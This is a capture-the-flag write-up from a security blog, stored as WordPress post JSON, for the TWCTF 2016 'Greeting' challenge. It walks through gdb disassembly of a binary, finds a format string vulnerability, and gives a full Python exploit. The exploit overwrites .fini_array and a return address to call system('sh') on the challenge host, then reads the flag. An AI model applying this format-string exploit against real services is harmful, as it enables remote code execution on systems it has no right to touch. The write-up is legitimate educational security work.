{"id":13302,"date":"2016-09-06T12:40:50","date_gmt":"2016-09-06T10:40:50","guid":{"rendered":"http:\/\/www.codilime.com\/?p=13302"},"modified":"2016-12-01T22:48:30","modified_gmt":"2016-12-01T21:48:30","slug":"tw-mma-2-2016-greeting","status":"publish","type":"post","link":"https:\/\/codisec.com\/tw-mma-2-2016-greeting\/","title":{"rendered":"Greeting"},"content":{"rendered":"

Description<\/h1>\n

Host : pwn2.chal.ctf.westerns.tokyo<\/p>\n

Port : 16317<\/p>\n

Note: To prevent from DoS attacks, output length is limited in 131072 characters.<\/p>\n

As always our task is to obtain the flag on the remote server and as always we will try to obtain a remote shell.<\/p>\n

The research<\/h1>\n

After running, the binary nicely asks us for our name:<\/p>\n

Hello, I'm nao!\r\nPlease tell me your name... Nobody\r\nNice to meet you, Nobody :)<\/pre>\n

Let’s take a look at what it exactly is doing:<\/p>\n

(gdb) disassemble main\r\nDump of assembler code for function main:\r\n   0x080485ed <+0>:\tpush   %ebp\r\n   0x080485ee <+1>:\tmov    %esp,%ebp\r\n   0x080485f0 <+3>:\tand    $0xfffffff0,%esp\r\n   0x080485f3 <+6>:\tsub    $0xa0,%esp\r\n   0x080485f9 <+12>:\tmov    %gs:0x14,%eax\r\n   0x080485ff <+18>:\tmov    %eax,0x9c(%esp)\r\n   0x08048606 <+25>:\txor    %eax,%eax\r\n   0x08048608 <+27>:\tmovl   $0x80487b3,(%esp)\r\n   0x0804860f <+34>:\tcall   0x8048450 <printf@plt>\r\n   0x08048614 <+39>:\tmovl   $0x40,0x4(%esp)\r\n   0x0804861c <+47>:\tlea    0x5c(%esp),%eax\r\n   0x08048620 <+51>:\tmov    %eax,(%esp)\r\n   0x08048623 <+54>:\tcall   0x8048679 <getnline>\r\n   0x08048628 <+59>:\ttest   %eax,%eax\r\n   0x0804862a <+61>:\tje     0x8048656 <main+105>\r\n   0x0804862c <+63>:\tlea    0x5c(%esp),%eax\r\n   0x08048630 <+67>:\tmov    %eax,0x8(%esp)\r\n   0x08048634 <+71>:\tmovl   $0x80487d0,0x4(%esp)\r\n   0x0804863c <+79>:\tlea    0x1c(%esp),%eax\r\n   0x08048640 <+83>:\tmov    %eax,(%esp)\r\n   0x08048643 <+86>:\tcall   0x80484e0 <sprintf@plt>\r\n   0x08048648 <+91>:\tlea    0x1c(%esp),%eax\r\n   0x0804864c <+95>:\tmov    %eax,(%esp)\r\n   0x0804864f <+98>:\tcall   0x8048450 <printf@plt>\r\n   0x08048654 <+103>:\tjmp    0x8048662 <main+117>\r\n   0x08048656 <+105>:\tmovl   $0x80487e9,(%esp)\r\n   0x0804865d <+112>:\tcall   0x8048480 <puts@plt>\r\n   0x08048662 <+117>:\tmov    0x9c(%esp),%edx\r\n   0x08048669 <+124>:\txor    %gs:0x14,%edx\r\n   0x08048670 <+131>:\tje     0x8048677 <main+138>\r\n   0x08048672 <+133>:\tcall   0x8048470 <__stack_chk_fail@plt>\r\n   0x08048677 <+138>:\tleave  \r\n   0x08048678 <+139>:\tret    \r\nEnd of assembler dump.<\/pre>\n

First, it calls getnline<\/code> with two arguments: a pointer to a local buffer and 0x40<\/code>. Let’s see:<\/p>\n

(gdb) disassemble getnline \r\nDump of assembler code for function getnline:\r\n   0x08048679 <+0>:\tpush   %ebp\r\n   0x0804867a <+1>:\tmov    %esp,%ebp\r\n   0x0804867c <+3>:\tsub    $0x28,%esp\r\n   0x0804867f <+6>:\tmov    0x8049a80,%eax\r\n   0x08048684 <+11>:\tmov    %eax,0x8(%esp)\r\n   0x08048688 <+15>:\tmov    0xc(%ebp),%eax\r\n   0x0804868b <+18>:\tmov    %eax,0x4(%esp)\r\n   0x0804868f <+22>:\tmov    0x8(%ebp),%eax\r\n   0x08048692 <+25>:\tmov    %eax,(%esp)\r\n   0x08048695 <+28>:\tcall   0x8048460 <fgets@plt>\r\n   0x0804869a <+33>:\tmovl   $0xa,0x4(%esp)\r\n   0x080486a2 <+41>:\tmov    0x8(%ebp),%eax\r\n   0x080486a5 <+44>:\tmov    %eax,(%esp)\r\n   0x080486a8 <+47>:\tcall   0x80484b0 <strchr@plt>\r\n   0x080486ad <+52>:\tmov    %eax,-0xc(%ebp)\r\n   0x080486b0 <+55>:\tcmpl   $0x0,-0xc(%ebp)\r\n   0x080486b4 <+59>:\tje     0x80486bc <getnline+67>\r\n   0x080486b6 <+61>:\tmov    -0xc(%ebp),%eax\r\n   0x080486b9 <+64>:\tmovb   $0x0,(%eax)\r\n   0x080486bc <+67>:\tmov    0x8(%ebp),%eax\r\n   0x080486bf <+70>:\tmov    %eax,(%esp)\r\n   0x080486c2 <+73>:\tcall   0x80484c0 <strlen@plt>\r\n   0x080486c7 <+78>:\tleave  \r\n   0x080486c8 <+79>:\tret    \r\nEnd of assembler dump.\r\n<\/pre>\n

So it reads at most 0x40 bytes from stdin<\/code>, stores it in the given buffer, replaces the first occurrence of a new line character with a null byte and returns length of the string.<\/p>\n

Getting back to main, it uses sprintf<\/code> to format our buffer to another one with:<\/p>\n

(gdb) x\/s 0x80487d0\r\n0x80487d0:\t\"Nice to meet you, %s :)\\n\"<\/pre>\n

Then it calls printf<\/code> with the second buffer as the first argument. Yay, a format string vulnerability<\/a> is present!<\/p>\n

The pwn<\/h1>\n

We have a few options to go with now:<\/p>\n

    \n
  1. Overwrite strlen<\/code>‘s address in the GOT<\/code> section with system<\/code>‘s address and force the program to execute main once again. This way the program would run system<\/code> with the provided argument (\/bin\/sh<\/code>).<\/li>\n
  2. Leak stack address, write ‘sh’ to some place in the memory and execute main again. Next overwrite return address with system’s address and pass it address of ‘sh’ string as it’s argument.<\/li>\n<\/ol>\n

    The first option is definitely easier, but second one is more universal and can target more similar challenges, so we will choose the latter.<\/p>\n

    Now we have to find how to change the program flow and execute the main<\/code> function. After dumping section headers:<\/p>\n

    $ readelf -S greeting \r\nThere are 31 section headers, starting at offset 0xbc4:\r\n\r\nSection Headers:\r\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\r\n  [ 0]                   NULL            00000000 000000 000000 00      0   0  0\r\n  [ 1] .interp           PROGBITS        08048134 000134 000013 00   A  0   0  1\r\n  [ 2] .note.ABI-tag     NOTE            08048148 000148 000020 00   A  0   0  4\r\n  [ 3] .note.gnu.build-i NOTE            08048168 000168 000024 00   A  0   0  4\r\n  [ 4] .gnu.hash         GNU_HASH        0804818c 00018c 00002c 04   A  5   0  4\r\n  [ 5] .dynsym           DYNSYM          080481b8 0001b8 0000f0 10   A  6   1  4\r\n  [ 6] .dynstr           STRTAB          080482a8 0002a8 00009c 00   A  0   0  1\r\n  [ 7] .gnu.version      VERSYM          08048344 000344 00001e 02   A  5   0  2\r\n  [ 8] .gnu.version_r    VERNEED         08048364 000364 000030 00   A  6   1  4\r\n  [ 9] .rel.dyn          REL             08048394 000394 000018 08   A  5   0  4\r\n  [10] .rel.plt          REL             080483ac 0003ac 000058 08   A  5  12  4\r\n  [11] .init             PROGBITS        08048404 000404 000023 00  AX  0   0  4\r\n  [12] .plt              PROGBITS        08048430 000430 0000c0 04  AX  0   0 16\r\n  [13] .text             PROGBITS        080484f0 0004f0 000252 00  AX  0   0 16\r\n  [14] tomori            PROGBITS        08048742 000742 00003e 00  AX  0   0  1\r\n  [15] .fini             PROGBITS        08048780 000780 000014 00  AX  0   0  4\r\n  [16] .rodata           PROGBITS        08048794 000794 000069 00   A  0   0  4\r\n  [17] .eh_frame_hdr     PROGBITS        08048800 000800 00003c 00   A  0   0  4\r\n  [18] .eh_frame         PROGBITS        0804883c 00083c 0000f0 00   A  0   0  4\r\n  [19] .init_array       INIT_ARRAY      0804992c 00092c 000008 00  WA  0   0  4\r\n  [20] .fini_array       FINI_ARRAY      08049934 000934 000004 00  WA  0   0  4\r\n  [21] .jcr              PROGBITS        08049938 000938 000004 00  WA  0   0  4\r\n  [22] .dynamic          DYNAMIC         0804993c 00093c 0000e8 08  WA  6   0  4\r\n  [23] .got              PROGBITS        08049a24 000a24 000004 04  WA  0   0  4\r\n  [24] .got.plt          PROGBITS        08049a28 000a28 000038 04  WA  0   0  4\r\n  [25] .data             PROGBITS        08049a60 000a60 000008 00  WA  0   0  4\r\n  [26] .bss              NOBITS          08049a80 000a68 000028 00  WA  0   0 32\r\n  [27] .comment          PROGBITS        00000000 000a68 00004d 01  MS  0   0  1\r\n  [28] .shstrtab         STRTAB          00000000 000ab5 00010d 00      0   0  1\r\n  [29] .symtab           SYMTAB          00000000 00109c 000500 10     30  46  4\r\n  [30] .strtab           STRTAB          00000000 00159c 00031d 00      0   0  1\r\nKey to Flags:\r\n  W (write), A (alloc), X (execute), M (merge), S (strings)\r\n  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)\r\n  O (extra OS processing required) o (OS specific), p (processor specific)<\/pre>\n

    we can see there is .fini_array<\/code> with one entry – we can override that (You can read about it here: http:\/\/docs.oracle.com\/cd\/E19683-01\/817-1983\/6mhm6r4es\/index.html<\/a>). Overwriting a GOT<\/code> entry would be an option, but there is no call to any address from GOT<\/code> after our vulnerable printf<\/code>.<\/p>\n

    Side note: you can check what’s inside .init_array<\/code> (there iss a function which makes finding system<\/code>‘s address trivial).<\/p>\n

    We can also see that the BSS<\/code> section ends at 0x08049a80 + 0x28 = 0x08049aa8<\/code> and we can write ‘sh’ string we need there (this memory page has write permission).<\/p>\n

    Let’s dump some stack values:<\/p>\n

    import socket\r\nimport time\r\n\r\nfor i in xrange(5):\r\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n    s.connect((\"pwn2.chal.ctf.westerns.tokyo\", 16317))\r\n\r\n    time.sleep(1)\r\n    s.recv(66000)\r\n    mes = \"%\" + str(i+1) + \"$08x\"\r\n    s.send(mes+\"\\n\")\r\n\r\n    time.sleep(1)\r\n    r = s.recv(66000)\r\n    print r[18:26]\r\n    s.close()\r\n<\/pre>\n

    and we get:<\/p>\n

    080487d0    -- return address from printf\r\nffc18aac    -- this looks like address somewhere on the stack\r\n00000000\r\n00000000\r\n00000000<\/pre>\n

    (we could dump a lot more, but 2 values were enough in this case). After checking locally with disabled ASLR we can find, that this stack address points to 0x90 below our return address.<\/p>\n

    Now we have everything we need to write the exploit:<\/p>\n

    import socket\r\nimport binascii\r\nimport time\r\nimport struct\r\n\r\n\r\n# 0x080485ed - main\r\n# 0x08048490 - system\r\n# 0x08049aa8 - wr memory (right after bss section)\r\n# 0x08049934 - .fini_array\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((\"pwn2.chal.ctf.westerns.tokyo\", 16317))\r\n\r\ntime.sleep(1)\r\ns.recv(66000)\r\n\r\nmes = \"aa\"                                              # padding\r\nmes += struct.pack(\"<I\", 0x08049934)                    # .fini_array\r\nmes += struct.pack(\"<I\", 0x08049934 + 0x2)              # .fini_array + 2\r\nmes += struct.pack(\"<I\", 0x08049aa8)                    # place to write 'sh' to\r\nmes += \"%2$\" + str(0x0804 - 0x12 - 0xe) + \"p%13$hn\"     # write 0x0804 and leak stack address\r\nmes += \"%\" + str(0x6873 - 0x0804) + \"d%14$n\"            # 'sh'\r\nmes += \"%\" + str(0x85ed - 0x6873) + \"d%12$hn\"           # 0x85ed\r\ns.send(mes + \"\\n\")\r\n\r\ntime.sleep(1)\r\nr = s.recv(66000)\r\n\r\naddr = int(r[2000:2500].strip()[2:], 16)\r\naddr -= 0x90\r\n# addr is now the return address of main\r\n\r\nmes = \"aa\"\r\nmes += struct.pack(\"<I\", addr)                          # return address\r\nmes += struct.pack(\"<I\", addr + 2)                      # return address\r\nmes += struct.pack(\"<I\", addr + 8)                      # first argument address - we put 'sh' address here\r\nmes += struct.pack(\"<I\", addr + 10)                     # \r\nmes += \"%\" + str(0x0804 - 0x12 - 0x12) + \"d%13$hn\"      # 0x0804 - system address begining\r\nmes += \"%15$hn\"                                         # 0x0804 - 'sh' address begining\r\nmes += \"%\" + str(0x8490 - 0x0804) + \"d%12$hn\"           # 0x8490 - system address ending\r\nmes += \"%\" + str(0x9aa8 - 0x8490) + \"d%14$hn\"           # 0x9aa8 - 'sh' address ending\r\ns.send(mes + \"\\n\")\r\n\r\ntime.sleep(1)\r\ns.recv(66000)\r\n\r\ns.send(\"ls\\n\")\r\ntime.sleep(1)\r\nprint s.recv(66000)\r\n\r\ns.close()<\/pre>\n

    Note that we added 2 bytes of padding to align addresses in our buffer to 4 bytes.<\/p>\n

    Running above script gives us:<\/p>\n

    $ python pwn.py\r\nflag\r\ngreeting\r\nlaunch.sh<\/pre>\n

    It’s working! Now we change ls<\/code> to cat flag<\/code> and enjoy our victory:<\/p>\n

    $ python pwn.py \r\nTWCTF{51mpl3_FSB_r3wr173_4nyw4r3}\r\n<\/pre>\n

     <\/p>\n","protected":false},"excerpt":{"rendered":"

    Description Host : pwn2.chal.ctf.westerns.tokyo Port : 16317 Note: To prevent from DoS attacks, output length is limited in 131072 characters. As always our task is to obtain the flag on the remote server and as always we will try to…<\/span> <\/p>\n

    Read more ›<\/div>\n

    <\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3,6],"tags":[7],"yoast_head":"\n\n\n\n\n\n\n\n\n\n\n\n\t\n